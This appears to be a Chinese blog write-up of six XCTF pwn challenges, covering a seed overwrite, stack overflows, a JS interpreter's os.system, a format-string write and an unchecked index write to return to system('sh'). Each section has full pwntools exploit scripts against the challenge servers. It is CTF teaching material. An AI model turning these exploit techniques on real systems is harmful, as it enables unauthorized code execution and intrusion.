XCTF_pwn高阶[1~6]

1 dice_game

0x00 try

root@ubuntu20:~/XCTF/pwn/dice_game# ./dice_game
Welcome, let me know your name: aa
Hi, aa. Let's play a game.
Game 1/50
Give me the point(1~6): 1
You lost.
Bye bye!

0x01 checksec

只有canary没有开,其他保护全开了。

root@ubuntu20:~/XCTF/pwn/dice_game# checksec dice_game
[*] '/root/XCTF/pwn/dice_game/dice_game'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

0x02 伪代码

程序的逻辑并不难

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char buf[55]; // [rsp+0h] [rbp-50h] BYREF
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h] 			//one byte
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]
  unsigned int v8; // [rsp+4Ch] [rbp-4h]

  memset(buf, 0, 0x30uLL);
  *(_QWORD *)seed = time(0LL);
  printf("Welcome, let me know your name: ");
  fflush(stdout);
  v6 = read(0, buf, 0x50uLL);        // read 80 bytes,overflow position(overlap 25 bytes)
  if ( v6 <= 49 )
    buf[v6 - 1] = 0;
  printf("Hi, %s. Let's play a game.\n", buf);
  fflush(stdout);
  srand(seed[0]);
  v8 = 1;
  v5 = 0;
  while ( 1 )
  {
    printf("Game %d/50\n", v8);
    v5 = game();
    fflush(stdout);
    if ( v5 != 1 )
      break;
    if ( v5 )
    {
      if ( v8 == 50 )                           // level50
      {
        flag(buf);
        break;
      }
      ++v8;
    }
  }
  puts("Bye bye!");
  return 0LL;
}
__int64 game()
{
  __int64 result; // rax
  __int16 v1; // [rsp+Ch] [rbp-4h] BYREF
  __int16 v2; // [rsp+Eh] [rbp-2h]

  printf("Give me the point(1~6): ");
  fflush(stdout);
  _isoc99_scanf("%hd", &v1);
  if ( v1 > 0 && v1 <= 6 )
  {
    v2 = rand() % 6 + 1;
    if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
      _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
    if ( v1 == v2 )
    {
      puts("You win.");
      result = 1LL;
    }

功能大概是读入我们的name然后用printf函数输出,之后开始游戏,共有50关,

输入16其中一数,系统随机化一个数(16)与我们输入的数进行比较,如果相等,游戏过关

要想最终调用flag函数,就得过到50关

0x03 漏洞利用

在读入name的时候有一个溢出点,可以溢出25字节,刚好把v5、v6、seed、v8都覆盖掉

v6 = read(0, buf, 0x50uLL);    

那也就意味着覆盖seed为我们指定的seed,由于指定同一个数为seed时rand函数输出的值是不变的,那么相当于我们知道了提前知道了随机数值。

看ida上seed与ebp的距离大概推算一下,就可以知道输入0x40字节后就是seed

0x04 python调用指定libc的rand函数

在本地端用python脚本调用libc库的rand函数的操作如下

from ctypes import *
libc = cdll.LoadLibrary("./libc.so.6")
a=[]
libc.srand(1)   #设定种子为1
for i in range(50):
        a.append(libc.rand(7)%6+1)
print a

image-20220325214741253

可以看到每次运行结果的随机数是一样的

0x05 完整exp

完整的代码如下

from pwn import *
from ctypes import *
libc = cdll.LoadLibrary("libc.so.6")
#p = process('./dice_game')
p = remote('111.200.241.244',51390)
p.recv()
p.sendline('a'*0x40+p32(0))
a = []
libc.srand(0)
for i in range(50):
        a.append(libc.rand()%6+1)
for i in a:
        p.sendlineafter('Give me the point(1~6):',str(i)) //注意是i不是a[i]
p.interactive()

image-20220325215205989

2 forgot

0x00 try

root@ubuntu20:~/XCTF/pwn/forgot# ./forgot
What is your name?
> ll

Hi ll


                        Finite-State Automaton

I have implemented a robust FSA to validate email addresses
Throw a string at me and I will let you know if it is a valid email address

                                Cheers!

I should give you a pointer perhaps. Here: 8048654

Enter the string to be validate
> l
This all you got? I don't even see an @!

0x01 checksec

checksec一下,32位程序,栈不可执行

root@ubuntu20:~/XCTF/pwn/forgot# checksec forgot
[*] '/root/XCTF/pwn/forgot/forgot'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

0x02伪代码

程序的功能大概是用fgets读取输入name到s中,再将0x8048654的地址输出,(pie没变,这里输出是多余的),再将输入字符串用scanf读入到v2中,根据v2的每个字符,一个个判断是否符合条件,输出对应的v3的值。

其中0x80486CC是flag函数的地址

0x03 漏洞利用

由于scanf没有控制输入的字符长度,故存在栈溢出,v2可以溢出到v3,将v3的一个值改为0x80486CC,在控制好条件下即可输出flag

0x04 完整exp

from pwn import *
#context.log_level = 'debug'
p = remote('111.200.241.244',51250)
p.recv()
p.sendline('a')
p.recvuntil('> ')
p.sendline('A'*32+p32(0x80486cc)) //注意A不仅是填充,同时控制了条件
print p.recvall()

3 monkey

首先这道题不像平常的pwn题

root@ubuntu20:~/XCTF/pwn/monkey# ll
total 34000
drwxr-xr-x 2 root root     4096 Mar 26 02:54 ./
drwxr-xr-x 5 root root     4096 Mar 26 02:33 ../
-rwxr-xr-x 1 root root 24924816 Jan  1  2010 js*
-rwxr-xr-x 1 root root   280448 Jan  1  2010 libnspr4.so*
-rwxr-xr-x 1 root root    22224 Jan  1  2010 libplc4.so*
-rwxr-xr-x 1 root root    19128 Jan  1  2010 libplds4.so*

反编译后js里的main函数是一些奇妙的东西,不懂

据网上查的wp说这题是个js解释器,引入了几个js库。

在python中我们需要把这几个库加载进来

p = process([process_name], env={'LD_LIBRARY_PATH':'./'})

完整的写法

from pwn import *
p = process(['./js'], env={'LD_LIBRARY_PATH':'./'})
p.recv()
p.interactive()

跑起来,输入一些程序反编译出来的字符串

image-20220326110938021

root@ubuntu20:~/XCTF/pwn/monkey# python exp.py
[+] Starting local process './js': pid 4058
[*] Switching to interactive mode
$ help

function help() {
    [native code]
}
js> $ version

function version() {
    [native code]
}
js> $

可以看到返回了函数,应该是可以直接执行js函数

输入os

js> $ os

({getenv:function getenv() {
    [native code]
}, getpid:function getpid() {
    [native code]
}, system:function system() {
    [native code]
}, spawn:function spawn() {
    [native code]
}, kill:function kill() {
    [native code]
}, waitpid:function waitpid() {
    [native code]
}})
js> $

os中内置了system

便可调用system

js> $ os.system('ls')

exp.py    js  libnspr4.so  libplc4.so  libplds4.so  monkey.zip

那么直接nc输入即可

root@ubuntu20:~/XCTF/pwn/monkey# nc  111.200.241.244 64979
js> os.system('ls')
os.system('ls')
bin
dev
flag
js
lib
lib32
lib64
libnspr4.so
libplc4.so
libplds4.so
run.sh
js> os.system('cat flag')
os.system('cat flag')
cyberpeace{6b0be4d2adbd7383c6fdcf0bc74edac6}
js>

4 反应釜开关控制

0x00 try

root@ubuntu20:~/XCTF/pwn/control# ./control
Please closing the reaction kettle
The switch is:0x4006b0
>aaa

0x01 checksec

root@ubuntu20:~/XCTF/pwn/control# checksec control
[*] '/root/XCTF/pwn/control/control'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

0x02 伪代码

程序的逻辑十分简单

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[64]; // [rsp+0h] [rbp-240h] BYREF
  char v5[512]; // [rsp+40h] [rbp-200h] BYREF

  write(1, "Please closing the reaction kettle\n", 0x23uLL);
  write(1, "The switch is:", 0xEuLL);
  sprintf(s, "%p\n", easy);          //内嵌easy函数
  write(1, s, 9uLL);
  write(1, ">", 2uLL);
  gets(v5);			                 //overflow positon
  return 0;
}

shell函数也有给

由于没有canary和pie保护,这道题就是非常简单的栈溢出入门题

0x04 完整exp

from pwn import *
p = remote('111.200.241.244',56562)
shell = 0x4005F6
p.recvuntil('>')
p.sendline('a'*0x208+p64(shell))
p.interactive()

5 实时数据监测

0x00 try

root@ubuntu20:~/XCTF/pwn/monitor# ./monitor
aaa
aaa
The location of key is 0804a048, and its value is 00000000,not the 0x02223322. (╯°Д°)╯︵ ┻━┻

0x01 checksec

root@ubuntu20:~/XCTF/pwn/monitor# checksec monitor
[*] '/root/XCTF/pwn/monitor/monitor'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

保护全关

0x02 伪代码

main函数只调用一个自定义函数 locker

int locker()
{
  int result; // eax
  char s[520]; // [esp+0h] [ebp-208h] BYREF

  fgets(s, 512, stdin);
  imagemagic(s);
  if ( key == 35795746 )   //0x2223322
    result = system("/bin/sh");
  else
    result = printf(format, &key, key);
  return result;
}

imagemagic函数一看就是存在格式化字符串漏洞

int __cdecl imagemagic(char *format)
{
  return printf(format);

key是一个bss段的全局变量

image-20220326154251925

0x03 漏洞利用

如此可以使用格式化字符串覆盖key的值,便可调用shell

注意打好断点,调试好参数位置

image-20220326160034841

涉及格式化字符串的任意地址内存覆盖可以使用fmtstr模块,快速高效

fmtstr_payload(offset,{overwrite :context})

0x04 完整的exp

from pwn import *
#p = process('./monitor')
p = remote ('111.200.241.244',58180)
printf = 0x0804A00C
key = 0x0804A048
payload = fmtstr_payload(12, {key : 0x2223322})
p.sendline(payload)
p.interactive()

image-20220326160341686

6 stack2

0x00 try

root@ubuntu20:~/XCTF/pwn/stack2# ./stack2
***********************************************************
*                      An easy calc                       *
*Give me your numbers and I will return to you an average *
*(0 <= x < 256)                                           *
***********************************************************
How many numbers you have:
1
Give me your numbers
32
1. show numbers
2. add number
3. change number
4. get average
5. exit
1
id              number
0               32
1. show numbers
2. add number
3. change number
4. get average
5. exit

出现了,经典菜单题

0x01checksec

root@ubuntu20:~/XCTF/pwn/stack2# checksec stack2
[*] '/root/XCTF/pwn/stack2/stack2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

栈不可执行、canary开着

0x02 伪代码

每个功能的代码我都分别摘出来

add number

if ( v6 != 2 )
    break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
    v3 = j++;
    v13[v3] = v7;
}

show number

if ( v6 > 2 )
    break;
if ( v6 != 1 )
	return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
	printf("%d\t\t%d\n", k, v13[k]);

change number

if ( v6 != 3 )
	break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;

get average

for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
...
...
if ( v6 != 4 )
    break;
v9 = 0;
for ( l = 0; l < j; ++l )
    v9 += v13[l];

每个函数功能的实现非常的简单,输入字符串的字符串写入v13这个变量中去。

0x03 漏洞利用

这里scanf虽然没有控制输入长度,可以溢出,但是因为开启了canary保护,除非泄露出canary否则这种方式利用不了eip

问题的关键在于change number

因为v5是v13的索引,但是对于v5没有一个边界限制或者检查,这样会导致任意写操作

那关键问题就是找偏移

怎么找,个人认为需结合汇编代码进行调试

change的汇编拿出来

image-20220328092954483

主要看65的代码:

v13[v5] = v7;
.text:0804883E                 add     esp, 10h
.text:08048841                 mov     eax, [ebp+var_90]    //[ebp+var_90]存入的就是v5值
.text:08048847                 mov     edx, [ebp+var_88]	//[ebp+var_88]存入的就是v7值
.text:0804884D                 mov     [ebp+eax+var_70], dl //这是覆盖,实现change的操作
.text:08048851                 jmp     loc_80488E1

那么毫无疑问ebp+var_70就是v13的位置,我们调试对这部分的内存查看确实如此(输入了65、66、67、68、70、71)

image-20220328093306461

那么只需相减就可以得到v13到ebp+0x4(ret)的偏移

image-20220328101237163

本来得到偏移0x74,但是后面试了不成功,看过别人的是0x84,由于ebp+var_70的位置检查过没有问题,那就只能是存放ret的地址的问题,我发现在正常人以为的ret下面还有一个地址,跟ret地址一摸一样。现在我们怀疑下面的才是真正的ret,上面的是个幌子。为什么这样这个后面说。

现在就是利用change将ebp + 4逐个字节改成程序自带的后门函数的地址0x0804859B

change(0x84,0x9b)
change(0x85,0x85)
change(0x86,0x04)
change(0x87,0x08)

image-20220328095845061

0x05 差一点的exp

from pwn import *
p = process('./stack2')
p.sendlineafter('you have:','1')
p.sendlineafter('Give me your numbers','1')

def change(a,b):
        p.sendlineafter('5. exit','3')
        p.recvuntil('which number to change:')
        p.sendline(str(a))
        p.recvuntil('new number:')
        p.sendline(str(b))

change(0x84,0x9b)
change(0x85,0x85)
change(0x86,0x04)
change(0x87,0x08)
p.sendlineafter('5. exit','5')
p.interactive()

注意一个细节:p.sendlineafter('5. exit','5')这一串不能丢,因为change不是函数调用,还是属于main函数的代码,所以只有当main函数执行完毕,才会把ret地址压到eip,退到下一个栈帧。

0x06 完整的exp

image-20220328104040539

上面的exp代码在本机跑没有问题,但是在远程就有问题

回显显示没有bash

没有bash就只好用sh

root@ubuntu20:~/XCTF/pwn/stack2# ROPgadget --binary stack2 --string 'sh'
Strings information
============================================================
0x08048987 : sh
0x08048ab3 : sh

但是就没有现成的写好的函数

只能按照常规操作,返回system,再传入参数

注意不能直接填写system的got,因为没有调用过system,got表项不会是system的真实地址,要填system@plt

image-20220328110722031

所以change 操作需要改

from pwn import *
p = process('./stack2')
p.sendlineafter('you have:','1')
p.sendlineafter('Give me your numbers','1')

def change(a,b):
        p.sendlineafter('5. exit','3')
        p.recvuntil('which number to change:')
        p.sendline(str(a))
        p.recvuntil('new number:')
        p.sendline(str(b))

#system_addr
change(0x84,0x50)
change(0x85,0x84)
change(0x86,0x04)
change(0x87,0x08)
#忽略调system_ret,占4个字节,索引+4
#sh_addr
change(0x8c,0x87)
change(0x8d,0x89)
change(0x8e,0x04)
change(0x8f,0x08)
p.sendlineafter('5. exit','5')
p.interactive()

拿到flag

image-20220328110619551

0x04 细节

前面的两个一样的ret地址的问题,涉及到main函数压栈前后的处理

看一下普通函数最开始执行时,汇编代码如下:

.text:000011ED ; __unwind {
.text:000011ED                 push    ebp
.text:000011EE                 mov     ebp, esp

此时父函数已经将ret地址压入栈

可以看到之后子函数直接push ebpmov ebp, esp

这与我们想到的一致,执行完这两条命令之后,栈分布如下:

image-20220406195042767

再看一下main函数的汇编代码如何处理

.text:000011CD ; __unwind {
.text:000011CD                 endbr32
.text:000011D1                 lea     ecx, [esp+4]
.text:000011D5                 and     esp, 0FFFFFFF0h
.text:000011D8                 push    dword ptr [ecx-4]
.text:000011DB                 push    ebp
.text:000011DC                 mov     ebp, esp

很奇妙的一点就是我自己随意写一个程序,main函数也是如此,说明main函数就是要这么处理的。既然处理是一致的,那下面以我的程序为例

回看到汇编代码,在push ebp之前,还有几步操作,看得出有进行对esp的修改,

前提记住,未执行进入函数之前,esp指向的是ret返回地址的位置

image-20220406202922299

lea ecx, [esp+4]操作就是mov,如下

mov   ecx,esp //给ecx保留esp高4字节的位置,相当于移ecx到esp+4的位置

image-20220406202431864

and esp, 0xfffffff0就是把esp和0xfffffff0进行‘与’操作,详相当于把esp低位4bit给置零

在调试过程中可以看到esp的低位4bit是c,置零就相当于- 0xc

image-20220406202356200

push dword ptr [ecx-4]中ecx-4就是前面的esp位置,指向的是ret地址,那该操作就是把ret地址压栈

这就相当于esp在减去0xc的基础上再下移4个字节,那就是0x10

image-20220406202332249

这就解释了为什么有两个ret地址,并且也解释了相差0x10。

而看一下是如何进行回退的

普通函数执行到最后是

.text:00001220                 leave
.text:00001221                 retn

但是main函数就不一样

.text:000012A4                 lea     esp, [ecx-4]
.text:000012A7                 retn

前面说过ecx保存着一开始esp+4的位置,而ecx-4就是一开始的esp,就指向返回地址的位置,而这个返回地址就是两个ret地址中高地址的那个返回地址,而非低地址的那个,后者是main函数自己压入的。按照接下去的程序就是把高低址的那个ret地址 pop到eip然后执行。

所以这道题中我们劫持程序就要修改那个高地址的ret。

posted @ 2022-04-27 15:38  DAMOXILAI  阅读(140)  评论(0编辑  收藏  举报